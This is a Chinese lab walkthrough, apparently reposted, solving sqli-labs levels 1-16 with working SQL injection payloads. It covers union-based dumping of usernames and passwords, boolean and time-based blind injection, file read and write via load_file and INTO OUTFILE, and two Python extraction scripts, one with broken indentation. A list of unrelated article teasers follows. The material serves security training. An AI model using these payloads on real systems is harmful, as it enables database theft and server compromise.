sqlilabs解题方法

news2024/11/17 5:39:34

Lass1

查询id为1的用户名和密码

查询id为2的用户名和密码

没有回显,不含id=-1的行

判断字段数,字段数为3

查询数据库用户名,和数据库名

查询时id必须超出数据库以外,一般用-1

用户名:user()

数据库名:database()cha

mysql版本:version()

查询数据库中的所有表的名字:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'--+

查询数据库中所有表名语法:group_concat(table_name)

从information_schema.tables中查询

条件数据库名必须为security:table_schema = 'security'

查询users表中的字段名:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'--+

查询所有字段名:group_concat(column_name)

从information_schema.columns中查询

表名必须为users: table_name = 'users'

查询字段值:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),3 from users--+

查询所有用户名和密码:group_concat(username,0x3a,password)

从users表中

Lass2

行数为3

查询数据库名

查询表名

查询列名

查询字段名

Lass-3

先闭合

列数为3

数据库名

表名

列名

字段值

Lass4

闭合

Lass5

Lass6

页面不显示数据只有对错页面显示,选择布尔盲注

布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么。

?id=1'and length((select database()))>9--+

#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+

#substr("78909",1,1)=7

substr(a,b,c)

a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。

ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。

Lass7

闭合

列数为3

页面只显示对错无数据回显

读写文件

读文件前提:

1.存在注入点的web站点用户权限要足够高

2.secure_file_priv不为NULL(show global variables like "secure_file_priv";)(否则就没办法使用mysql中的函数进行读写)

读文件函数:

select load_file('路径');

写文件前提:

general_log = on

(查看general_log:show variables like'%general%';

修改general_log为on:set global general_log = on;)

写文件

select 字段名 from 表 into outfile "路径"

http://10.0.2.15/sqli/Less-7/?id=1')) union select 1,2,group_concat(username,0x3a,password) from users into outfile "/root/桌面/sqlilabs_qiu/Mysql注入读写文件Less7/out.txt"--+

Lass8

页面只显示对错无数据回显,基于布尔值的盲注

#coding:utf-8

import requests

char = "abcdefghijklmnopqrstuvwxyz0123456789~*/\{}?!:@_-,"

namelen = 1024

name = ""

res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1")

truelen = len(res.content)

for i in range(1, namelen):

    flag = True

    for str in char:

#表名

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(table_name) from information_schema.tables where table_schema = database()),%s,1)=%%27%s%%27 --+"%(i,str))

#字段名

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(column_name) from information_schema.columns where table_name = 'users'),%s,1)=%%27%s%%27 --+"%(i,str))

#字段值

            #res = requests.get("http://localhost/sqli-labs-master/Less-8/?id=1' and mid((select group_concat(username,0x3a,password) from users),%s,1)=%%27%s%%27 --+"%(i,str))

            if(len(res.content) == truelen):

     name += str

     print(str)

     flag = False

     break

    if(flag):break

print(name)

脚本比较慢

Lass9

无论对错,回显都一样。此时基于布尔盲注的方法已经不适用,故采用基于时间的盲注

布尔盲注适合页面对于错误和正确结果有不同反应。如果页面一直不变这个时候我们可以使用时

间注入,时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

python脚本

import requests

import time

# 将url 替换成你的靶场关卡网址

# 修改两个对应的payload

# 目标网址(不带参数)

url = "http://127.0.0.1/sqli-labs-master/Less-9/"

# 猜解长度使用的payload

payload_len = """?id=1' and if(

(length(

        (database())

    ) ={n})

,sleep(5),3) -- a"""

# 枚举字符使用的payload

payload_str = """?id=1' and if(

(ascii(

substr(

(database())

,{n},1)

) ={r})

, sleep(5), 3) -- a"""

# 获取长度

def getLength(url, payload):

    length = 1  # 初始测试长度为1

    while True:

        start_time = time.time()

        response = requests.get(url= url+payload_len.format(n= length))

        # 页面响应时间 = 结束执行的时间 - 开始执行的时间

        use_time = time.time() - start_time

        # 响应时间>5秒时,表示猜解成功

        if use_time > 5:

            print('测试长度完成,长度为:', length,)

            return length;

        else:

            print('正在测试长度:',length)

            length += 1  # 测试长度递增

# 获取字符

def getStr(url, payload, length):

    str = ''  # 初始表名/库名为空

    # 第一层循环,截取每一个字符

    for l in range(1, length+1):

        # 第二层循环,枚举截取字符的每一种可能性

        for n in range(33, 126):

            start_time = time.time()

            response = requests.get(url= url+payload_str.format(n= l, r= n))

            # 页面响应时间 = 结束执行的时间 - 开始执行的时间

            use_time = time.time() - start_time

            # 页面中出现此内容则表示成功

            if use_time > 5:

                str+= chr(n)

                print('第', l, '个字符猜解成功:', str)

                break;

    return str;

# 开始猜解

length = getLength(url, payload_len)

getStr(url, payload_str, length)

Lass10和lass9一样,‘换成“

Lass11

#注释

Or 1=1判断是否有sql注入

Lass12

Lass13和lass12差不多,只需要将双引号换成单引号。

Lass14和lass11差不多,只需要将单引号换成双引号。

Lass15和第lass11一样,只是不产生报错信息。布尔盲注。有错误页面和正确页面进行参考。

Lass16和lass12一样,需要布尔盲注。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1956133.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

VulnHub:colddbox easy

靶机下载地址 信息收集 主机发现 攻击机网段192.168.31.0/24,扫描同网段存活主机。 nmap 192.168.31.0/24 -Pn -T4 发现靶机,IP为192.168.31.176。 端口扫描 扫描靶机开放端口。 nmap 192.168.31.176 -A -p- -T4 开放了80,4512端口,注…

[H并查集] lc100347. 判断矩形的两个角落是否可达(并查集+高质量+周赛408_4)

文章目录 1. 题目来源2. 题目解析 1. 题目来源 链接:100347. 判断矩形的两个角落是否可达 参考: 灵神视频题解:筛质数 巧妙枚举 并查集【力扣周赛 408】 这一期周赛很不错。 2. 题目解析 十分不错的题目哈,关键是题意的转换…

哈希 Hash(闭散列、开散列介绍及其实现)

目录 unordered 系列关联式容器unordered_mapunordered_map 的介绍unordered_map 的接口说明构造函数容量函数迭代器元素访问查询操作修改操作桶操作 unordered_setunordered_set 的介绍unordered_set 的接口说明构造函数容量函数迭代器查询操作修改操作桶操作 底层结构哈希概念…

Catalyst优化器:让你的Spark SQL查询提速10倍

目录 1 逻辑优化阶段 2.1 逻辑计划解析 2.2 逻辑计划优化 2.2.1 Catalys的优化过程 2.2.2 Cache Manager优化 2 物理优化阶段 2.1 优化 Spark Plan 2.1.1 Catalyst 的 Join 策略 2.1.2 如何决定选择哪一种 Join 策略 2.2 Physical Plan 2.2.1 EnsureRequirements 规则 3 相关文…

【北京迅为】《i.MX8MM嵌入式Linux开发指南》-第三篇 嵌入式Linux驱动开发篇-第五十七章 Linux中断实验

i.MX8MM处理器采用了先进的14LPCFinFET工艺,提供更快的速度和更高的电源效率;四核Cortex-A53,单核Cortex-M4,多达五个内核 ,主频高达1.8GHz,2G DDR4内存、8G EMMC存储。千兆工业级以太网、MIPI-DSI、USB HOST、WIFI/BT…

python 裁剪图片

情况: 有时候看视频,看到一个漂亮的妹子,按下 Alt PrintScreen 进行截图之后,会把整个屏幕都截图。 需要适当剪裁一下。 每次打开 PS , 也太慢了。 所以写个代码, 快速处理。 效果对比: 原始…

个人定制化形象生成,FaceChain最新模型部署

FaceChain是阿里巴巴达摩院推出的一个开源的人物写真和个人数字形象的AI生成框架。 FaceChain利用了Stable Diffusion模型的文生图功能,并结合人像风格化LoRA模型训练及人脸相关感知理解模型,将输入的图片进行训练后推理输出生成个人写真图像。 FaceCh…

【redis】对hash类型和list类型的常用命令,应用场景,内部编码的总结

˃͈꒵˂͈꒱ write in front ꒰˃͈꒵˂͈꒱ ʕ̯•͡˔•̯᷅ʔ大家好,我是xiaoxie.希望你看完之后,有不足之处请多多谅解,让我们一起共同进步૮₍❀ᴗ͈ . ᴗ͈ აxiaoxieʕ̯•͡˔•̯᷅ʔ—CSDN博客 本文由xiaoxieʕ̯•͡˔•̯᷅ʔ 原创 CSDN 如…

初识c++:vector全方面讲解及其代码模拟实现

本节大纲: vector全方面讲解及其代码模拟实现 1.学习vector方法 2.vector的使用 2.1 vector的定义 2.2 vector iterator 的使用 2.3 vector 空间增长问题 2.4 vector 增删查改 2.5 vector 迭代器失效问题(重点) 3.vector 深度刨析 4…

【Vulnhub系列】Vulnhub_Raven2靶场渗透(原创)

【Vulnhub系列靶场】Vulnhub_Raven2 渗透 原文转载已经过授权 原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io) 一、环境准备 从网盘下载该靶机,在vm中选择【打开】 然后设置好存储路径,开机后检查靶机的网络连…

主宰生物进化的 “魔咒” —— 制约生物在特殊环境下进化方式的线索

一些神秘的法则制约着生物在特殊环境下的进化方式。它们还为动物将如何适应气候变暖提供了线索。 一些奇特的进化现象 一艘装满大象和老鼠的 “诺亚方舟” 搁浅在一座偏远的小岛上。动物们都幸存下来并繁衍后代。但是,随着世代相传,奇怪的事情发生了&a…

【Matlab】快速傅里叶变换fft代码(单边谱)

单边谱,横纵坐标还原代码 参考链接 主代码 function main() clc clear close all %% %仿真时间 dt0.01; t_end10; timedt:dt:t_end;%注意,length(time)会对fft结果的精度有影响 %对应振幅,频率:10、5、2Hz Z20*sin(2*pi*20*time…

使用abpcli创建项目时提示数据库迁移失败

问题描述 使用abpcli创建项目时提示数据库迁移失败! 解决方案: 1、检查数据库连接字符串 {"ConnectionStrings": {"Default": "serverlocalhost;port3306;databaseAcmeBookStore;userroot;passwordyour_password;"} }2、…

盗梦空间续集(InceptionNeXt):使用Inception优化加速ConvNeXt实现ImageNet-1K的最佳精度

Abstract 灵感来自ViT的长距离建模能力,大核卷积最近被广泛研究和采用,以扩大感受野并提高模型性能,例如显著的工作ConvNeXt采用77深度卷积。虽然这种深度算子只消耗少量的FLOPs,但由于高内存访问成本,它在强大计算设…

环境配置—批量删除时提示/usr/bin/rm: Argument list too long问题

文章目录 1. 背景介绍2. 问题原因3. 解决方案3.1 分批删除文件3.2 使用 find 命令直接删除3.3 增加系统参数限制3.4 使用循环删除 4. 结论 1. 背景介绍 在Linux系统中,rm 命令是删除文件和目录的常用工具。然而,当需要删除大量文件时,可能会…

【CPS出版】2024年智能计算与数据分析国际学术会议(ICDA 2024,9月6日-8)

为探讨数据科学和计算智能领域的关键问题,促进相关交流,2024年智能计算与数据分析国际学术会议(ICDA 2024)将于2024年9月6日-8日在中国青岛召开。 本届会议拟邀请数据分析和计算智能领域的顶级专家、学者和产业界优秀人才,围绕当前…

党员管理系统2024(代码+论文+ppt)

下载在最后 技术栈: ssmmysql 展示: 下载地址: CSDN现在上传有问题,有兴趣的朋友先收藏.正常了贴上下载地址 备注:

Hive环境搭建(Mysql数据库)

【实验目的】 1) 了解hive的作用 2) 熟练hive的配置过程(Mysql数据库) 【实验原理】 Hive工具中默认使用的是derby数据库,该数据库使用简单,操作灵活,但是存在一定的局限性,hive支持使用第三方数据库&…

探索C++中的多态性:理解虚函数和运行时多态

前言: 在现代软件开发中,面向对象编程(OOP)已经成为了主流。其中一个强大的概念就是多态性(Polymorphism),它不仅仅是一种技术,更是一种设计思想和实现方式,为软件开发带…

Python批量采集某东评论,实现可视化分析

女朋友没事就喜欢网购,买一大堆又不用,总说不合适,为了不让她花冤枉钱,于是我决定用Python写一个采集商品评论的脚本,然后对商品进行分析,这样就不怕踩到坑了! 让我们直接开始本次操作 准备工作…